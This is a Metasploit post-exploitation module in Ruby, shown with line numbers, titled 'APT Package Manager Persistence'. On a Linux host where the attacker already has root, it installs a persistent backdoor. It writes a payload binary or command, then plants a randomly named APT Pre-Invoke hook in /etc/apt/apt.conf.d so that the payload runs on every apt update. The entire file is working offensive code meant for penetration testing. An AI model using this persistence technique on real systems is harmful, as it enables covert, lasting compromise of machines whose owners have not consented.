1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Local
7
  Rank = ExcellentRanking
8

9
  include Msf::Exploit::EXE
10
  include Msf::Exploit::FileDropper
11
  include Msf::Post::File
12
  include Msf::Post::Linux::System
13
  include Msf::Exploit::Local::Persistence
14
  prepend Msf::Exploit::Remote::AutoCheck
15
  include Msf::Exploit::Deprecated
16
  moved_from 'exploits/linux/local/apt_package_manager_persistence'
17

18
  def initialize(info = {})
19
    super(
20
      update_info(
21
        info,
22
        'Name' => 'APT Package Manager Persistence',
23
        'Description' => %q{
24
          This module will run a payload when the APT package manager is used.
25
          This module creates a pre-invoke hook for APT in apt.conf.d. Write access
26
          to the apt.conf.d directory is required, typically requiring root access.
27
          The hook name is randomized if not specified.
28
          Verified on Ubuntu 22.04
29
        },
30
        'License' => MSF_LICENSE,
31
        'Author' => ['Aaron Ringo'],
32
        'Platform' => ['linux', 'unix'],
33
        'Arch' => [
34
          ARCH_CMD,
35
          ARCH_X86,
36
          ARCH_X64,
37
          ARCH_ARMLE,
38
          ARCH_AARCH64,
39
          ARCH_PPC,
40
          ARCH_MIPSLE,
41
          ARCH_MIPSBE
42
        ],
43
        'SessionTypes' => ['shell', 'meterpreter'],
44
        'DisclosureDate' => '1999-03-09', # Date APT package manager was included in Debian
45
        'References' => ['URL', 'https://unix.stackexchange.com/questions/204414/how-to-run-a-command-before-download-with-apt-get'],
46
        'Targets' => [['Automatic', {}]],
47
        'Privileged' => true,
48
        'DefaultTarget' => 0,
49
        'Notes' => {
50
          'Stability' => [CRASH_SAFE],
51
          'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
52
          'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
53
        }
54
      )
55
    )
56

57
    register_options(
58
      [
59
        OptString.new('HOOKNAME', [false, 'Name of hook file to write']),
60
        OptString.new('PAYLOAD_NAME', [false, 'Name of binary to write']),
61
        OptString.new('HOOKPATH', [true, 'The directory where the apt configurations are located', '/etc/apt/apt.conf.d/'])
62
      ]
63
    )
64
  end
65

66
  def check
67
    return CheckCode::Safe('apt-get not found, likely not an apt based system') unless command_exists?('apt-get')
68
    return CheckCode::Safe("#{datastore['HOOKPATH']} not found") unless exists?(datastore['HOOKPATH'])
69
    return CheckCode::Safe("#{datastore['HOOKPATH']} not writable") unless writable?(datastore['HOOKPATH'])
70

71
    print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
72
    return CheckCode::Safe("#{writable_dir} not found") unless exists?(writable_dir)
73
    return CheckCode::Safe("#{writable_dir} not writable") unless writable?(writable_dir)
74

75
    CheckCode::Appears("#{datastore['HOOKPATH']} and #{writable_dir} are writable, also found apt-get.")
76
  end
77

78
  def install_persistence
79
    fail_with Failure::BadConfig, "#{datastore['HOOKPATH']} not writable, or APT is not on system" unless writable?(datastore['HOOKPATH'])
80
    hook_path = datastore['HOOKPATH']
81
    hook_path << (datastore['HOOKNAME'] || "#{rand_text_numeric(2)}#{rand_text_alpha(5..8)}")
82

83
    if payload.arch.first == 'cmd'
84
      hook_script = %(APT::Update::Pre-Invoke {"setsid #{payload.encoded} 2>/dev/null &"};)
85
    else
86
      payload_path = writable_dir
87
      payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"
88
      payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)
89
      payload_path << payload_name
90
      write_file(payload_path, generate_payload_exe)
91
      fail_with Failure::Unknown, "Failed to write #{payload_path}" unless exist?(payload_path)
92
      print_status("Backdoor uploaded #{payload_path}")
93
      # permissions chosen to reflect common perms in /usr/local/bin/
94
      chmod(payload_path, 0o755)
95

96
      print_status('Attempting to write hook')
97
      hook_script = %(APT::Update::Pre-Invoke {"setsid #{payload_path} 2>/dev/null &"};)
98
      @clean_up_rc << "rm #{payload_path}\n"
99
    end
100
    write_file(datastore['HOOKPATH'], hook_script)
101

102
    fail_with Failure::Unknown, 'Failed to write Hook' unless exist?(datastore['HOOKPATH'])
103

104
    print_status("Wrote #{datastore['HOOKPATH']}")
105

106
    print_good('Backdoor will run on next APT update')
107

108
    @clean_up_rc << "rm #{datastore['HOOKPATH']}\n"
109
  end
110
end
111

112